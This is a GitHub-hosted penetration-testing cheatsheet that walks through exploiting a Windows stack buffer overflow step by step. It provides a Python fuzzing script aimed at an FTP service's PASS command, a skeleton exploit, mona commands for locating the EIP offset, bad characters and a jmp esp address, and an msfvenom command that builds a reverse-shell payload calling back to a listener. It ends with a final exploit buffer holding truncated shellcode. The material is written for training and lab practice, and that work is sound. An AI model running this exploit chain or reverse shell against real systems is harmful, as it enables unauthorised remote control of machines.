Tib3rius / **Pentest-Cheatsheets** Public

Code Issues 1 Pull requests 1 Actions Projects Security ···

master ···

Pentest-Cheatsheets / exploits / **buffer-overflows.rst**

**Tib3rius** Update buffer-overflows.rst History

1 contributor

`250 lines (167 sloc) | 8.98 KB` ···

# Buffer Overflows

- https://bytesoverbombs.io/exploiting-a-64-bit-buffer-overflow-469e8b500f10
- https://www.abatchy.com/2017/05/jumping-to-shellcode.html
- http://www.voidcn.com/article/p-ulyzzbfx-z.html
- https://www.securitysift.com/windows-exploit-development-part-4-locating-shellcode-jumps/
- https://medium.com/@johntroony/a-practical-overview-of-stack-based-buffer-overflow-7572eaaa4982

## Immunity Debugger

**Always run Immunity Debugger as Administrator if you can.**

There are generally two ways to use Immunity Debugger to debug an application:

1. Make sure the application is running, open Immunity Debugger, and then use `File -> Attach` to attack the debugger to the running process.
2. Open Immunity Debugger, and then use `File -> Open` to run the application.

When attaching to an application or opening an application in Immunity Debugger, the application will be paused. Click the "Run" button or press F9.

Note: If the binary you are debugging is a Windows service, you may need to restart the application via `sc`

```
sc stop SLmail
sc start SLmail
```

Some applications are configured to be started from the service manager and will not work unless started by service control.

## Mona Setup

Mona is a powerful plugin for Immunity Debugger that makes exploiting buffer overflows much easier. Download: :download:`mona.py <../_static/files/mona.py>`

The latest version can be downloaded here: https://github.com/corelan/mona
The manual can be found here: https://www.corelan.be/index.php/2011/07/14/mona-py-the-manual/
Copy the mona.py file into the PyCommands directory of Immunity Debugger (usually located at C:\Program Files\Immunity Inc\Immunity Debugger\PyCommands).

In Immunity Debugger, type the following to set a working directory for mona.

```
!mona config -set workingfolder c:\mona\%p
```

## Fuzzing

The following Python script can be modified and used to fuzz remote entry points to an application. It will send increasingly long buffer strings in the hope that one eventually crashes the application.

```
import socket, time, sys

ip = "10.0.0.1"
port = 21
timeout = 5

# Create an array of increasing length buffer strings.
```

```
buffer = []
counter = 100
while len(buffer) < 30:
    buffer.append("A" * counter)
    counter += 100

for string in buffer:
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(timeout)
        connect = s.connect((ip, port))
        s.recv(1024)
        s.send("USER username\r\n")
        s.recv(1024)

        print("Fuzzing PASS with %s bytes" % len(string))
        s.send("PASS " + string + "\r\n")
        s.recv(1024)
        s.send("QUIT\r\n")
        s.recv(1024)
        s.close()
    except:
        print("Could not connect to " + ip + ":" + str(port))
        sys.exit(0)
    time.sleep(1)
```

Check that the EIP register has been overwritten by A's (\x41). Make a note of any other registers that have either been overwritten, or are pointing to space in memory which has been overwritten.

## Crash Replication & Controlling EIP

The following skeleton exploit code can be used for the rest of the buffer overflow exploit:

```
import socket

ip = "10.0.0.1"
port = 21

prefix = ""
offset = 0
overflow = "A" * offset
retn = ""
padding = ""
```

```
payload = ""
postfix = ""

buffer = prefix + overflow + retn + padding + payload + postfix

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
    s.connect((ip, port))
    print("Sending evil buffer...")
    s.send(buffer + "\r\n")
    print("Done!")
except:
    print("Could not connect.")
```

Using the buffer length which caused the crash, generate a unique buffer so we can determine the offset in the pattern which overwrites the EIP register, and the offset in the pattern to which other registers point. Create a pattern that is 400 bytes larger than the crash buffer, so that we can determine whether our shellcode can fit immediately. If the larger buffer doesn't crash the application, use a pattern equal to the crash buffer length and slowly add more to the buffer to find space.

```
$ /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 600
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6
```

While the unique buffer is on the stack, use mona's findmsp command, with the distance argument set to the pattern length.

```
!mona findmsp -distance 600
...
[+] Looking for cyclic pattern in memory
Cyclic pattern (normal) found at 0x005f3614 (length 600 bytes)
Cyclic pattern (normal) found at 0x005f4a40 (length 600 bytes)
Cyclic pattern (normal) found at 0x017df764 (length 600 bytes)
EIP contains normal pattern : 0x78413778 (offset 112)
ESP (0x017dfa30) points at offset 116 in normal pattern (length 484)
EAX (0x017df764) points at offset 0 in normal pattern (length 600)
EBP contains normal pattern : 0x41367841 (offset 108)
...
```

Note the EIP offset (112) and any other registers that point to the pattern, noting their offsets as well. It seems like the ESP register points to the last 484 bytes of the pattern, which is enough space for our shellcode.

Create a new buffer using this information to ensure that we can control EIP:

```
prefix = ""
offset = 112
overflow = "A" * offset
retn = "BBBB"
padding = ""
payload = "C" * (600-112-4)
postfix = ""

buffer = prefix + overflow + retn + padding + payload + postfix
```

Crash the application using this buffer, and make sure that EIP is overwritten by B's (\x42) and that the ESP register points to the start of the C's (\x43).

# Finding Bad Characters

Generate a bytearray using mona, and exclude the null byte (\x00) by default. Note the location of the bytearray.bin file that is generated.

```
!mona bytearray -b "\x00"
```

Now generate a string of bad chars that is identical to the bytearray. The following python script can be used to generate a string of bad chars from \x01 to \xff:

```
#!/usr/bin/env python
from __future__ import print_function

for x in range(1, 256):
    print("\\x" + "{:02x}".format(x), end='')

print()
```

Put the string of bad chars before the C's in your buffer, and adjust the number of C's to compensate:

```
badchars = "\x01\x02\x03\x04\x05...\xfb\xfc\xfd\xfe\xff"
payload = badchars + "C" * (600-112-4-255)
```

Crash the application using this buffer, and make a note of the address to which ESP points. This can change every time you crash the application, so get into the habit of copying it from the register each time.

Use the mona compare command to reference the bytearray you generated, and the address to which ESP points:

```
!mona compare -f C:\mona\appname\bytearray.bin -a <address>
```

## Find a Jump Point

The mona jmp command can be used to search for jmp (or equivalent) instructions to a specific register. The jmp command will, by default, ignore any modules that are marked as aslr or rebase.

The following example searches for "jmp esp" or equivalent (e.g. call esp, push esp; retn, etc.) while ensuring that the address of the instruction doesn't contain the bad chars \x00, \x0a, and \x0d.

```
!mona jmp -r esp -cpb "\x00\x0a\x0d"
```

The mona find command can similarly be used to find specific instructions, though for the most part, the jmp command is sufficient:

```
!mona find -s 'jmp esp' -type instr -cm aslr=false,rebase=false,nx=false -cpb "\x
```

## Generate Payload

Generate a reverse shell payload using msfvenom, making sure to exclude the same bad chars that were found previously:

```
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.92 LPORT=53 EXITFUNC=thread
```

## Prepend NOPs

If an encoder was used (more than likely if bad chars are present, remember to prepend at least 16 NOPs (\x90) to the payload.

## Final Buffer

```
prefix = ""
offset = 112
overflow = "A" * offset
retn = "\x56\x23\x43\x9A"
padding = "\x90" * 16
payload = "\xdb\xde\xba\x69\xd7\xe9\xa8\xd9\x74\x24\xf4\x58\x29\xc9\xb1..."
postfix = ""

buffer = prefix + overflow + retn + padding + payload + postfix
```

## Buffer Overflow Practice

- https://github.com/justinsteven/dostackbufferoverflowgood
- https://github.com/stephenbradshaw/vulnserver
- https://www.vortex.id.au/2017/05/pwkoscp-stack-buffer-overflow-practice/